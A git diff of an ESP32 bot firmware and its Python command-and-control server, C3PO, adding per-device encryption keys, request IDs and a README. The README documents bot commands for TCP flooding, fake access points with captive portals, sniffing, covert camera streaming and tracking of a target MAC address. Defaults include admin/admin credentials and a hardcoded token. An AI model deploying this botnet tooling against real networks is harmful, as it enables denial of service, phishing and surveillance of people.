char **argv, void *ctx) +static esp_err_t cmd_trilat_start(int argc, char **argv, const char *request_id, void *ctx) { if (argc != 4) - return msg_error(TAG, "usage: trilat start ", NULL); + return msg_error(TAG, "usage: trilat start ", request_id); if (trilat_running) - return msg_error(TAG, "already running", NULL); + return msg_error(TAG, "already running", request_id); ESP_ERROR_CHECK(nvs_flash_init()); if (!parse_mac_str(argv[1], target_mac)) - return msg_error(TAG, "invalid MAC", NULL); + return msg_error(TAG, "invalid MAC", request_id); strncpy(target_url, argv[2], MAX_LEN-1); strncpy(auth_bearer, argv[3], MAX_LEN-1); snprintf(auth_header, sizeof(auth_header), "Bearer %s", auth_bearer); - buffer_mutex = xSemaphoreCreateMutex(); + if (!buffer_mutex) + buffer_mutex = xSemaphoreCreateMutex(); data_buffer[0] = 0; buffer_len = 0; @@ -211,19 +212,19 @@ static esp_err_t cmd_trilat_start(int argc, char **argv, void *ctx) trilat_running = true; xTaskCreate(post_task, "trilat_post", 4096, NULL, 5, &post_task_handle); - msg_info(TAG, "trilat started", NULL); + msg_info(TAG, "trilat started", request_id); return ESP_OK; } -static esp_err_t cmd_trilat_stop(int argc, char **argv, void *ctx) +static esp_err_t cmd_trilat_stop(int argc, char **argv, const char *request_id, void *ctx) { if (!trilat_running) - return msg_error(TAG, "not running", NULL); + return msg_error(TAG, "not running", request_id); trilat_running = false; esp_ble_gap_stop_scanning(); - msg_info(TAG, "trilat stopped", NULL); + msg_info(TAG, "trilat stopped", request_id); return ESP_OK; } diff --git a/espilon_bot/components/mod_system/cmd_system.c b/espilon_bot/components/mod_system/cmd_system.c index c0c51ee..6aeb2da 100644 --- a/espilon_bot/components/mod_system/cmd_system.c +++ b/espilon_bot/components/mod_system/cmd_system.c @@ -162,10 +162,10 @@ static int cmd_system_info( * COMMAND REGISTRATION * ============================================================ */ static const command_t system_cmds[] = { - { "system_reboot", 0, 0, cmd_system_reboot, NULL, false }, - { "system_mem", 0, 0, cmd_system_mem, NULL, false }, - { "system_uptime", 0, 0, cmd_system_uptime, NULL, false }, - { "system_info", 0, 0, cmd_system_info, NULL, false } + { "system_reboot", NULL, NULL, 0, 0, cmd_system_reboot, NULL, false }, + { "system_mem", NULL, NULL, 0, 0, cmd_system_mem, NULL, false }, + { "system_uptime", NULL, NULL, 0, 0, cmd_system_uptime, NULL, false }, + { "system_info", NULL, NULL, 0, 0, cmd_system_info, NULL, false } }; void mod_system_register_commands(void) diff --git a/espilon_bot/main/Kconfig b/espilon_bot/main/Kconfig index fa7cfcd..dc70c30 100644 --- a/espilon_bot/main/Kconfig +++ b/espilon_bot/main/Kconfig @@ -102,6 +102,14 @@ config RECON_MODE_CAMERA bool "Enable Camera Reconnaissance" default n +config CAMERA_UDP_TOKEN + string "Camera UDP Token" + default "Sup3rS3cretT0k3n" + depends on RECON_MODE_CAMERA + help + Secret token prepended to camera UDP packets. + Must match CAMERA_SECRET_TOKEN on the C2 server. + config RECON_MODE_MLAT bool "Enable MLAT (Multilateration) Module" default n @@ -116,13 +124,17 @@ endmenu ################################################ menu "Security" -config CRYPTO_KEY - string "ChaCha20 Key (32 bytes)" - default "testde32chars0000000000000000000" +config CRYPTO_FCTRY_NS + string "Factory NVS namespace for crypto" + default "crypto" + help + NVS namespace in the factory partition where the master key is stored. -config CRYPTO_NONCE - string "ChaCha20 Nonce (12 bytes)" - default "noncenonceno" +config CRYPTO_FCTRY_KEY + string "Factory NVS key name for master key" + default "master_key" + help + NVS key name for the 32-byte master key blob in the factory partition. endmenu diff --git a/espilon_bot/main/bot-lwip.c b/espilon_bot/main/bot-lwip.c index e78e162..56b5d4e 100644 --- a/espilon_bot/main/bot-lwip.c +++ b/espilon_bot/main/bot-lwip.c @@ -70,6 +70,12 @@ void app_main(void) init_nvs(); + /* Crypto: read master key from factory NVS, derive encryption key */ + if (!crypto_init()) { + ESP_LOGE(TAG, "CRYPTO INIT FAILED – no master key in factory NVS?"); + esp_restart(); + } + /* ===================================================== * Command system * ===================================================== */ diff --git a/espilon_bot/partitions.csv b/espilon_bot/partitions.csv new file mode 100644 index 0000000..1665db9 --- /dev/null +++ b/espilon_bot/partitions.csv @@ -0,0 +1,6 @@ +# Epsilon Bot - Custom Partition Table +# Name, Type, SubType, Offset, Size, Flags +nvs, data, nvs, 0x9000, 0x6000, +phy_init, data, phy, 0xf000, 0x1000, +fctry, data, nvs, 0x10000, 0x6000, +factory, app, factory, 0x20000, 0x1E0000, diff --git a/espilon_bot/sdkconfig.defaults b/espilon_bot/sdkconfig.defaults new file mode 100644 index 0000000..66b13ec --- /dev/null +++ b/espilon_bot/sdkconfig.defaults @@ -0,0 +1,27 @@ +# Espilon Bot - sdkconfig defaults +# Device +CONFIG_DEVICE_ID="espilon-demo" + +# Network +CONFIG_WIFI_SSID="mywifi" +CONFIG_WIFI_PASS="" +CONFIG_SERVER_IP="192.168.1.100" +CONFIG_SERVER_PORT=2626 + +# Crypto (factory NVS) +CONFIG_CRYPTO_FCTRY_NS="crypto" +CONFIG_CRYPTO_FCTRY_KEY="master_key" + +# mbedTLS - ChaCha20-Poly1305 + HKDF +CONFIG_MBEDTLS_CHACHA20_C=y +CONFIG_MBEDTLS_POLY1305_C=y +CONFIG_MBEDTLS_CHACHAPOLY_C=y +CONFIG_MBEDTLS_HKDF_C=y + +# Partition table +CONFIG_PARTITION_TABLE_CUSTOM=y +CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" + +# Logging +CONFIG_ESPILON_LOG_LEVEL_INFO=y +CONFIG_ESPILON_LOG_BOOT_SUMMARY=y diff --git a/tools/c2/.env.example b/tools/C3PO/.env.example similarity index 84% rename from tools/c2/.env.example rename to tools/C3PO/.env.example index 1bcd23f..57ee2cd 100644 --- a/tools/c2/.env.example +++ b/tools/C3PO/.env.example @@ -45,3 +45,9 @@ VIDEO_ENABLED=true VIDEO_PATH=static/streams/record.avi VIDEO_FPS=10 VIDEO_CODEC=MJPG + +# =================== +# Honeypot Dashboard (optional plugin) +# =================== +# Path to espilon-honey-pot/tools/ directory +# HP_DASHBOARD_PATH=/path/to/espilon-honey-pot/tools diff --git a/tools/C3PO/README.md b/tools/C3PO/README.md new file mode 100644 index 0000000..1364be7 --- /dev/null +++ b/tools/C3PO/README.md @@ -0,0 +1,372 @@ +# C3PO (C2) - Full Documentation + +C3PO is the Command & Control (C2) server for ESPILON agents. It manages device connections, command dispatch, device state tracking, and provides a CLI, a multi-device TUI (Textual), a web dashboard, and a UDP camera receiver with recording. + +--- + +## Summary + +Main features: +- TCP server for ESP agents (Base64 + ChaCha20-Poly1305 AEAD + Protobuf) +- Device registry and group management +- Interactive CLI + multi-device TUI +- Web dashboard (Flask) with Dashboard, Cameras, and MLAT pages +- UDP camera receiver with recording +- MLAT (multilateration) engine for RSSI-based positioning + +--- + +## Prerequisites + +- Python 3.10+ (tested with 3.11) +- pip (package manager) +- Virtual environment (recommended) + +--- + +## Installation + +### 1. Créer un environnement virtuel + +```bash +cd tools/c2 +python3 -m venv .venv +``` + +Ceci crée un dossier `.venv/` isolé pour les dépendances Python. + +### 2. Activer l'environnement + +**Linux / macOS :** + +```bash +source .venv/bin/activate +``` + +**Windows (PowerShell) :** + +```powershell +.\.venv\Scripts\Activate.ps1 +``` + +**Windows (CMD) :** + +```cmd +.\.venv\Scripts\activate.bat +``` + +Le prompt devrait afficher `(.venv)` pour confirmer l'activation. + +### 3. Installer les dépendances + +```bash +pip install -r requirements.txt +``` + +Ceci installe toutes les dépendances nécessaires : + +| Package | Version | Usage | +| --- | --- | --- | +| `pycryptodome` | >=3.15.0 | ChaCha20-Poly1305 AEAD + HKDF key derivation | +| `protobuf` | >=4.21.0 | Sérialisation Protocol Buffers | +| `flask` | >=2.0.0 | Serveur web (dashboard, API) | +| `python-dotenv` | >=1.0.0 | Chargement config `.env` | +| `textual` | >=0.40.0 | Interface TUI multi-pane | +| `opencv-python` | >=4.8.0 | Traitement vidéo/images caméra | +| `numpy` | >=1.24.0 | Calculs matriciels (opencv, scipy) | +| `scipy` | >=1.10.0 | Algorithme MLAT (optimisation) | + +### 4. Vérifier l'installation + +```bash +python -c "from web.server import UnifiedWebServer; print('OK')" +``` + +### Désactiver l'environnement + +```bash +deactivate +``` + +--- + +## Configuration + +### C2 (TCP) + +The core C2 server uses constants defined in `utils/constant.py`: +- `HOST` (default `0.0.0.0`) +- `PORT` (default `2626`) + +### Web + Camera + MLAT + +Copy `.env.example` to `.env` and adjust as needed: + +```bash +cp .env.example .env +``` + +Key variables: +- `WEB_HOST`, `WEB_PORT` (dashboard web server, default `0.0.0.0:8000`) +- `UDP_HOST`, `UDP_PORT` (camera UDP, default `0.0.0.0:5000`) +- `CAMERA_SECRET_TOKEN` (must match firmware) +- `WEB_USERNAME`, `WEB_PASSWORD` (dashboard login) +- `FLASK_SECRET_KEY` (sessions) +- `MULTILAT_AUTH_TOKEN` (Bearer token for MLAT API) +- `IMAGE_DIR` (JPEG frames) +- `VIDEO_ENABLED`, `VIDEO_PATH`, `VIDEO_FPS`, `VIDEO_CODEC` + +--- + +## Launch + +Classic CLI mode: + +```bash +python3 c3po.py +``` + +TUI (Textual) mode: + +```bash +python3 c3po.py --tui +``` + +--- + +## C2 Commands (CLI/TUI) + +Main commands: + +| Command | Description | +| --- | --- | +| `help [command]` | General help or per-command help | +| `list` | List connected devices | +| `modules` | List ESP commands by module | +| `send [args...]` | Send a command | +| `group ` | Manage groups | +| `active_commands` | List running commands | +| `web start\|stop\|status` | Web dashboard | +| `camera start\|stop\|status` | Camera UDP receiver | +| `clear` | Clear screen | +| `exit` | Quit | + +Examples: + +```bash +list +send ce4f626b system_reboot +send all fakeap_status +send group scanners mlat start AA:BB:CC:DD:EE:FF +web start +camera start +active_commands +``` + +### Groups + +```bash +group add bots ce4f626b a91dd021 +group list +group show bots +group remove bots ce4f626b +``` + +--- + +## ESP Commands (Modules) + +ESP commands are organized by module (use `modules`). Summary: + +| Module | Command | Description | +| --- | --- | --- | +| system | `system_reboot` | Reboot ESP32 | +| system | `system_mem` | Memory info | +| system | `system_uptime` | Device uptime | +| system | `system_info` | Auto-query on connect | +| network | `ping ` | Ping | +| network | `arp_scan` | ARP scan | +| network | `proxy_start ` | TCP proxy | +| network | `proxy_stop` | Stop proxy | +| network | `dos_tcp ` | TCP flood | +| fakeap | `fakeap_start [open\|wpa2] [pass]` | Start Fake AP | +| fakeap | `fakeap_stop` | Stop Fake AP | +| fakeap | `fakeap_status` | Fake AP status | +| fakeap | `fakeap_clients` | List clients | +| fakeap | `fakeap_portal_start` | Captive portal | +| fakeap | `fakeap_portal_stop` | Stop portal | +| fakeap | `fakeap_sniffer_on` | Sniffer on | +| fakeap | `fakeap_sniffer_off` | Sniffer off | +| recon | `cam_start ` | Start camera stream | +| recon | `cam_stop` | Stop camera stream | +| recon | `mlat config [gps\|local] ` | Set scanner position | +| recon | `mlat mode ` | Scan mode | +| recon | `mlat start ` | Start MLAT | +| recon | `mlat stop` | Stop MLAT | +| recon | `mlat status` | MLAT status | + +Notes: +- `DEV_MODE = True` in `tools/c2/cli/cli.py` allows raw text: `send ` +- `system_info` is automatically sent on new connections. + +--- + +## TUI (Textual) + +The TUI shows: +- Left panel: all connected devices +- Right panel: global logs +- Bottom input bar with autocomplete + +Key bindings: +- `Alt+G`: toggle global logs +- `Ctrl+L`: clear global logs +- `Ctrl+Q`: quit +- `Esc`: focus input +- `Tab`: completion + +--- + +## Screenshots + +Replace the placeholders below with your own captures: + +![C3PO CLI Placeholder](docs/screenshots/c3po-cli.png) +![C3PO TUI Placeholder](docs/screenshots/c3po-tui.png) +![C3PO Web Dashboard Placeholder](docs/screenshots/c3po-web-dashboard.png) +![C3PO Cameras Placeholder](docs/screenshots/c3po-cameras.png) +![C3PO MLAT Placeholder](docs/screenshots/c3po-mlat.png) + +--- + +## Web Dashboard + +Start from the CLI: + +```bash +web start +``` + +Default local URL: + +```text +http://127.0.0.1:8000 +``` + +Default credentials: `admin` / `admin` (defined in `.env`). + +Pages: +- `/dashboard` (devices) +- `/cameras` (streams) +- `/mlat` (MLAT view) + +### API (Bearer token) + +Authenticate with: + +```text +Authorization: Bearer +``` + +Endpoints: +- `GET /api/devices` +- `GET /api/cameras` +- `POST /api/recording/start/` +- `POST /api/recording/stop/` +- `GET /api/recording/status?camera_id=` +- `GET /api/recordings` +- `POST /api/mlat/collect` +- `GET /api/mlat/state` +- `GET|POST /api/mlat/config` +- `POST /api/mlat/clear` +- `GET /api/stats` + +Example: + +```bash +curl -H "Authorization: Bearer multilat_secret_token" http://127.0.0.1:8000/api/devices +``` + +--- + +## Camera UDP + +The UDP receiver assembles JPEG frames and stores them in `IMAGE_DIR`. Expected protocol: +- Each packet starts with `CAMERA_SECRET_TOKEN` +- `START`: begin frame +- `END`: end frame +- Other packets are JPEG chunks + +C2 commands: +- `camera start` +- `camera stop` +- `camera status` + +Quick test: + +```bash +python3 test_udp.py 5000 +``` + +Recording: +- Triggered via Web API (recording endpoints) +- Files stored in `static/recordings` + +--- + +## MLAT (Multilateration) + +Supported formats (from ESP): +- `MLAT:G;;;` +- `MLAT:L;;;` +- Legacy: `MLAT:;;` + +Requirements: +- At least 3 active scanners +- Calibration via `rssi_at_1m` and `path_loss_n` (`/api/mlat/config`) + +--- + +## Architecture (Summary) + +``` +tools/C3PO/ +├── c3po.py # C2 entrypoint (CLI / TUI) +├── cli/ # CLI + help +├── commands/ # Registry + internal commands +├── core/ # Registry, transport, crypto, keystore +│ ├── crypto.py # ChaCha20-Poly1305 AEAD + HKDF +│ ├── keystore.py # Per-device master key management (keys.json) +│ ├── transport.py # TCP transport with per-device crypto +│ └── registry.py # Device registry +├── log/ # Log manager +├── streams/ # Camera UDP + config +├── tui/ # Textual UI +├── web/ # Flask server + MLAT +├── templates/ # HTML +├── static/ # CSS/JS/streams/recordings +├── utils/ # Display, constants +├── keys.json # Per-device master key store +└── requirements.txt +``` + +--- + +## Troubleshooting + +- `Base64 decode failed` or `Decrypt failed`: verify the device was provisioned with `tools/provisioning/provision.py` and that `keys.json` contains the correct master key for the device ID +- `TUI not available`: install `textual` +- No camera frames: check `CAMERA_SECRET_TOKEN` and `UDP_PORT` +- Web not reachable: check `WEB_HOST`, `WEB_PORT`, firewall +- MLAT not resolving: needs at least 3 scanners + +--- + +## Security Notes + +- Each device must be provisioned with a unique master key via `tools/provisioning/provision.py` +- Master keys are stored in `keys.json` — keep this file secure and never commit it to version control +- The C2 derives per-device encryption keys using HKDF-SHA256 (master_key + device_id salt) +- All C2 communications use ChaCha20-Poly1305 AEAD with random 12-byte nonces +- Change `WEB_USERNAME` / `WEB_PASSWORD` and `FLASK_SECRET_KEY` +- Change `MULTILAT_AUTH_TOKEN` for the API diff --git a/tools/c2/c3po.py b/tools/C3PO/c3po.py similarity index 88% rename from tools/c2/c3po.py rename to tools/C3PO/c3po.py index b798f93..0721081 100644 --- a/tools/c2/c3po.py +++ b/tools/C3PO/c3po.py @@ -7,6 +7,7 @@ import time import argparse from core.registry import DeviceRegistry +from core.keystore import KeyStore from core.transport import Transport from log.manager import LogManager from cli.cli import CLI @@ -16,10 +17,11 @@ from core.groups import GroupRegistry from utils.constant import HOST, PORT from utils.display import Display -# Strict base64 validation (ESP sends BASE64 + '\n') -BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$') +# New wire format: device_id:BASE64 + '\n' +FRAME_RE = re.compile(br'^[A-Za-z0-9_-]+:[A-Za-z0-9+/=]+$') RX_BUF_SIZE = 4096 +MAX_BUFFER_SIZE = 1024 * 1024 # 1MB max buffer to prevent memory exhaustion DEVICE_TIMEOUT_SECONDS = 300 # Devices are considered inactive after 5 minutes without a heartbeat HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds @@ -40,6 +42,11 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev buffer += data + # Prevent memory exhaustion from malicious clients + if len(buffer) > MAX_BUFFER_SIZE: + Display.error(f"Buffer overflow from {addr}, dropping connection") + break + # Strict framing by '\n' (ESP behavior) while b"\n" in buffer: line, buffer = buffer.split(b"\n", 1) @@ -48,9 +55,9 @@ def client_thread(sock: socket.socket, addr, transport: Transport, registry: Dev if not line: continue - # Ignore noise / invalid frames - if not BASE64_RE.match(line): - Display.system_message(f"Ignoring non-base64 data from {addr}") + # Validate frame format: device_id:base64 + if not FRAME_RE.match(line): + Display.system_message(f"Ignoring invalid frame from {addr}") continue try: @@ -110,15 +117,19 @@ $$ | $$\\ $$\\ $$ |$$ | $$ | $$ | # ============================ registry = DeviceRegistry() logger = LogManager() - + keystore = KeyStore("keys.json") + + if not args.tui: + Display.system_message(f"Loaded {len(keystore)} device key(s) from {keystore.path}") + # Initialize CLI first, then pass it to Transport commands = CommandRegistry() commands.register(RebootCommand()) groups = GroupRegistry() - + # Placeholder for CLI, will be properly initialized after Transport - cli_instance = None - transport = Transport(registry, logger, cli_instance) # Pass a placeholder for now + cli_instance = None + transport = Transport(registry, logger, keystore, cli_instance) cli_instance = CLI(registry, commands, groups, transport) transport.set_cli(cli_instance) # Set the actual CLI instance in transport diff --git a/tools/c2/cli/cli.py b/tools/C3PO/cli/cli.py similarity index 89% rename from tools/c2/cli/cli.py rename to tools/C3PO/cli/cli.py index f6ff0d2..1257cea 100644 --- a/tools/c2/cli/cli.py +++ b/tools/C3PO/cli/cli.py @@ -8,7 +8,10 @@ from cli.help import HelpManager from core.transport import Transport from proto.c2_pb2 import Command from streams.udp_receiver import UDPReceiver -from streams.config import UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN +from streams.config import ( + UDP_HOST, UDP_PORT, IMAGE_DIR, MULTILAT_AUTH_TOKEN, + WEB_HOST, WEB_PORT, DEFAULT_USERNAME, DEFAULT_PASSWORD, FLASK_SECRET_KEY +) from web.server import UnifiedWebServer from web.mlat import MlatEngine @@ -29,6 +32,12 @@ class CLI: self.udp_receiver: Optional[UDPReceiver] = None self.mlat_engine = MlatEngine() + # Honeypot dashboard components (created on web start) + self.hp_store = None + self.hp_commander = None + self.hp_alerts = None + self.hp_geo = None + readline.parse_and_bind("tab: complete") readline.set_completer(self._complete) @@ -227,7 +236,7 @@ class CLI: cmd.request_id = request_id Display.command_sent(d.id, cmd_name, request_id) - self.transport.send_command(d.sock, cmd) + self.transport.send_command(d.sock, cmd, d.id) self.active_commands[request_id] = { "device_id": d.id, "command_name": cmd_name, @@ -340,11 +349,42 @@ class CLI: Display.system_message("Web server is already running.") return + # Initialize honeypot dashboard components + try: + from hp_dashboard import HpStore, HpCommander, HpAlertEngine, HpGeoLookup + if not self.hp_store: + self.hp_geo = HpGeoLookup() + self.hp_store = HpStore(geo_lookup=self.hp_geo) + if not self.hp_alerts: + self.hp_alerts = HpAlertEngine() + self.hp_alerts.set_store(self.hp_store) + if not self.hp_commander: + self.hp_commander = HpCommander( + get_transport=lambda: self.transport, + get_registry=lambda: self.registry, + ) + # Wire into transport for event/response routing + self.transport.hp_store = self.hp_store + self.transport.hp_commander = self.hp_commander + Display.system_message("Honeypot dashboard enabled (alerts + geo active)") + except ImportError: + Display.system_message("Honeypot dashboard not available (hp_dashboard not found)") + self.web_server = UnifiedWebServer( + host=WEB_HOST, + port=WEB_PORT, + image_dir=IMAGE_DIR, + username=DEFAULT_USERNAME, + password=DEFAULT_PASSWORD, + secret_key=FLASK_SECRET_KEY, device_registry=self.registry, mlat_engine=self.mlat_engine, multilat_token=MULTILAT_AUTH_TOKEN, - camera_receiver=self.udp_receiver + camera_receiver=self.udp_receiver, + hp_store=self.hp_store, + hp_commander=self.hp_commander, + hp_alerts=self.hp_alerts, + hp_geo=self.hp_geo, ) if self.web_server.start(): diff --git a/tools/c2/cli/help.py b/tools/C3PO/cli/help.py similarity index 98% rename from tools/c2/cli/help.py rename to tools/C3PO/cli/help.py index 326065b..e053870 100644 --- a/tools/c2/cli/help.py +++ b/tools/C3PO/cli/help.py @@ -143,7 +143,7 @@ class HelpManager: self._out(" start Start the web server (dashboard, cameras, MLAT)") self._out(" stop Stop the web server") self._out(" status Show server status and MLAT engine info") - self._out(" Default URL: http://127.0.0.1:5000") + self._out(" Default URL: http://127.0.0.1:8000 (configurable via .env)") elif command_name == "camera": self._out("Help for 'camera' command:") @@ -153,7 +153,7 @@ class HelpManager: self._out(" start Start UDP receiver for camera frames") self._out(" stop Stop UDP receiver") self._out(" status Show receiver stats (packets, frames, errors)") - self._out(" Default port: 12345") + self._out(" Default port: 5000 (configurable via .env)") elif command_name == "modules": self._out("Help for 'modules' command:") diff --git a/tools/c2/commands/base.py b/tools/C3PO/commands/base.py similarity index 100% rename from tools/c2/commands/base.py rename to tools/C3PO/commands/base.py diff --git a/tools/c2/commands/reboot.py b/tools/C3PO/commands/reboot.py similarity index 100% rename from tools/c2/commands/reboot.py rename to tools/C3PO/commands/reboot.py diff --git a/tools/c2/commands/registry.py b/tools/C3PO/commands/registry.py similarity index 100% rename from tools/c2/commands/registry.py rename to tools/C3PO/commands/registry.py diff --git a/tools/C3PO/core/crypto.py b/tools/C3PO/core/crypto.py new file mode 100644 index 0000000..65959ac --- /dev/null +++ b/tools/C3PO/core/crypto.py @@ -0,0 +1,58 @@ +import base64 + +from Crypto.Cipher import ChaCha20_Poly1305 +from Crypto.Protocol.KDF import HKDF +from Crypto.Hash import SHA256 + +HKDF_INFO = b"espilon-c2-v1" + + +class CryptoContext: + """Per-device AEAD crypto context. + + Derives a 32-byte encryption key from the device's master key + using HKDF-SHA256 with device_id as salt. + """ + + def __init__(self, master_key: bytes, device_id: str): + if len(master_key) != 32: + raise ValueError(f"master_key must be 32 bytes, got {len(master_key)}") + self.derived_key = HKDF( + master=master_key, + key_len=32, + salt=device_id.encode(), + hashmod=SHA256, + context=HKDF_INFO, + ) + + # ========================= + # ChaCha20-Poly1305 AEAD + # ========================= + def encrypt(self, data: bytes) -> bytes: + """Encrypt and authenticate. Returns nonce[12] || ciphertext || tag[16].""" + cipher = ChaCha20_Poly1305.new(key=self.derived_key) + ct, tag = cipher.encrypt_and_digest(data) + return cipher.nonce + ct + tag + + def decrypt(self, data: bytes) -> bytes: + """Decrypt and verify. Input: nonce[12] || ciphertext || tag[16]. + Raises ValueError on authentication failure. + """ + if len(data) < 28: + raise ValueError(f"Encrypted payload too short ({len(data)} bytes)") + nonce = data[:12] + tag = data[-16:] + ct = data[12:-16] + cipher = ChaCha20_Poly1305.new(key=self.derived_key, nonce=nonce) + return cipher.decrypt_and_verify(ct, tag) + + # ========================= + # Base64 + # ========================= + @staticmethod + def b64_encode(data: bytes) -> bytes: + return base64.b64encode(data) + + @staticmethod + def b64_decode(data: bytes) -> bytes: + return base64.b64decode(data) diff --git a/tools/c2/core/device.py b/tools/C3PO/core/device.py similarity index 100% rename from tools/c2/core/device.py rename to tools/C3PO/core/device.py diff --git a/tools/c2/core/groups.py b/tools/C3PO/core/groups.py similarity index 100% rename from tools/c2/core/groups.py rename to tools/C3PO/core/groups.py diff --git a/tools/C3PO/core/keystore.py b/tools/C3PO/core/keystore.py new file mode 100644 index 0000000..4805702 --- /dev/null +++ b/tools/C3PO/core/keystore.py @@ -0,0 +1,82 @@ +import json +import os +import threading +from typing import Optional + + +class KeyStore: + """Thread-safe per-device master key storage backed by a JSON file. + + File format (keys.json): + { + "device_id_1": "hex_encoded_32_byte_master_key", + "device_id_2": "hex_encoded_32_byte_master_key", + ... + } + """ + + def __init__(self, path: str = "keys.json"): + self.path = os.path.abspath(path) + self._keys: dict[str, bytes] = {} + self._lock = threading.Lock() + self.load() + + def load(self) -> None: + """Load keys from JSON file. Creates empty file if not found.""" + if not os.path.exists(self.path): + return + try: + with open(self.path, "r") as f: + data = json.load(f) + with self._lock: + self._keys = { + did: bytes.fromhex(hex_key) + for did, hex_key in data.items() + } + except (json.JSONDecodeError, ValueError) as e: + print(f"[KeyStore] Warning: failed to load {self.path}: {e}") + + def save(self) -> None: + """Persist keys to JSON file.""" + with self._lock: + data = { + did: key.hex() + for did, key in self._keys.items() + } + with open(self.path, "w") as f: + json.dump(data, f, indent=2) + + def get(self, device_id: str) -> Optional[bytes]: + """Return 32-byte master key for a device, or None if unknown.""" + with self._lock: + return self._keys.get(device_id) + + def add(self, device_id: str, master_key: bytes) -> None: + """Register a device's master key and persist.""" + if len(master_key) != 32: + raise ValueError(f"master_key must be 32 bytes, got {len(master_key)}") + with self._lock: + self._keys[device_id] = master_key + self.save() + + def remove(self, device_id: str) -> bool: + """Remove a device's key. Returns True if it existed.""" + with self._lock: + if device_id in self._keys: + del self._keys[device_id] + self.save() + return True + return False + + def list_devices(self) -> list[str]: + """Return list of known device IDs.""" + with self._lock: + return list(self._keys.keys()) + + def __len__(self) -> int: + with self._lock: + return len(self._keys) + + def __contains__(self, device_id: str) -> bool: + with self._lock: + return device_id in self._keys diff --git a/tools/c2/core/registry.py b/tools/C3PO/core/registry.py similarity index 100% rename from tools/c2/core/registry.py rename to tools/C3PO/core/registry.py diff --git a/tools/c2/core/transport.py b/tools/C3PO/core/transport.py similarity index 68% rename from tools/c2/core/transport.py rename to tools/C3PO/core/transport.py index 4f1240d..70badb0 100644 --- a/tools/c2/core/transport.py +++ b/tools/C3PO/core/transport.py @@ -1,5 +1,6 @@ from core.crypto import CryptoContext from core.device import Device +from core.keystore import KeyStore from core.registry import DeviceRegistry from log.manager import LogManager from utils.display import Display @@ -13,49 +14,84 @@ if TYPE_CHECKING: class Transport: - def __init__(self, registry: DeviceRegistry, logger: LogManager, cli_instance: 'CLI' = None): - self.crypto = CryptoContext() + def __init__(self, registry: DeviceRegistry, logger: LogManager, + keystore: KeyStore, cli_instance: 'CLI' = None): self.registry = registry self.logger = logger - self.cli = cli_instance # CLI instance for callback - self.command_responses = {} # To track command responses + self.keystore = keystore + self.cli = cli_instance + self.command_responses = {} + self.hp_store = None + self.hp_commander = None + + # Cache of CryptoContext per device_id (HKDF derivation is expensive) + self._crypto_cache: dict[str, CryptoContext] = {} def set_cli(self, cli_instance: 'CLI'): self.cli = cli_instance + def _get_crypto(self, device_id: str) -> CryptoContext | None: + """Get or create a CryptoContext for the given device.""" + if device_id in self._crypto_cache: + return self._crypto_cache[device_id] + + master_key = self.keystore.get(device_id) + if master_key is None: + return None + + ctx = CryptoContext(master_key, device_id) + self._crypto_cache[device_id] = ctx + return ctx + # ================================================== # RX (ESP → C2) # ================================================== def handle_incoming(self, sock, addr, raw_data: bytes): """ - raw_data = BASE64( ChaCha20( Protobuf AgentMessage ) ) + raw_data = device_id:BASE64( nonce[12] || ChaCha20-Poly1305( Protobuf ) || tag[16] ) """ - # Removed verbose transport debug prints - - # 1) base64 decode - try: - cipher = self.crypto.b64_decode(raw_data) - except Exception as e: - Display.error(f"Base64 decode failed from {addr}: {e}") + # 1) Parse device_id prefix + raw_str = raw_data + if b":" not in raw_str: + Display.error(f"No device_id prefix in message from {addr}") return - # 2) chacha decrypt - try: - protobuf_bytes = self.crypto.decrypt(cipher) - except Exception as e: - Display.error(f"Decrypt failed from {addr}: {e}") + device_id_bytes, b64_payload = raw_str.split(b":", 1) + device_id = device_id_bytes.decode(errors="ignore").strip() + + if not device_id: + Display.error(f"Empty device_id from {addr}") return - # 3) protobuf decode → AgentMessage + # 2) Lookup crypto key for this device + crypto = self._get_crypto(device_id) + if crypto is None: + Display.error(f"Unknown device '{device_id}' from {addr} – no key in keystore") + return + + # 3) Base64 decode + try: + encrypted = crypto.b64_decode(b64_payload) + except Exception as e: + Display.error(f"Base64 decode failed from {device_id}@{addr}: {e}") + return + + # 4) Decrypt + verify (AEAD) + try: + protobuf_bytes = crypto.decrypt(encrypted) + except Exception as e: + Display.error(f"Decrypt/auth failed from {device_id}@{addr}: {e}") + return + + # 5) Protobuf decode → AgentMessage try: msg = AgentMessage.FromString(protobuf_bytes) except Exception as e: - Display.error(f"Protobuf decode failed from {addr}: {e}") + Display.error(f"Protobuf decode failed from {device_id}@{addr}: {e}") return if not msg.device_id: - Display.error("AgentMessage received without device_id") - return + msg.device_id = device_id self._dispatch(sock, addr, msg) @@ -100,7 +136,7 @@ class Transport: cmd.device_id = device.id cmd.command_name = "system_info" cmd.request_id = f"auto-sysinfo-{device.id}" - self.send_command(device.sock, cmd) + self.send_command(device.sock, cmd, device.id) except Exception as e: Display.error(f"Auto system_info failed for {device.id}: {e}") @@ -146,6 +182,9 @@ class Transport: # Check if this is auto system_info response if msg.request_id and msg.request_id.startswith("auto-sysinfo-"): self._parse_system_info(device, payload_str) + elif msg.request_id and msg.request_id.startswith("hp-") and self.hp_commander: + # Route honeypot dashboard command responses + self.hp_commander.handle_response(msg.request_id, device.id, payload_str, msg.eof) elif msg.request_id and self.cli: self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof) else: @@ -172,6 +211,9 @@ class Transport: elif msg.type == AgentMsgType.AGENT_LOG: Display.device_event(device.id, f"LOG: {payload_str}") elif msg.type == AgentMsgType.AGENT_DATA: + # Route honeypot events to hp_store + if payload_str.startswith("HP|") and self.hp_store: + self.hp_store.parse_and_store(device.id, payload_str) Display.device_event(device.id, f"DATA: {payload_str}") else: Display.device_event(device.id, f"UNKNOWN Message Type ({AgentMsgType.Name(msg.type)}): {payload_str}") @@ -179,21 +221,26 @@ class Transport: # ================================================== # TX (C2 → ESP) # ================================================== - def send_command(self, sock, cmd: Command): + def send_command(self, sock, cmd: Command, device_id: str = None): """ - Command → Protobuf → ChaCha20 → Base64 → \\n + Command → Protobuf → ChaCha20-Poly1305 → Base64 → \\n """ + target_id = device_id or cmd.device_id + crypto = self._get_crypto(target_id) + if crypto is None: + Display.error(f"Cannot send to '{target_id}' – no key in keystore") + return + try: proto = cmd.SerializeToString() - # Removed verbose transport debug prints - # Encrypt - 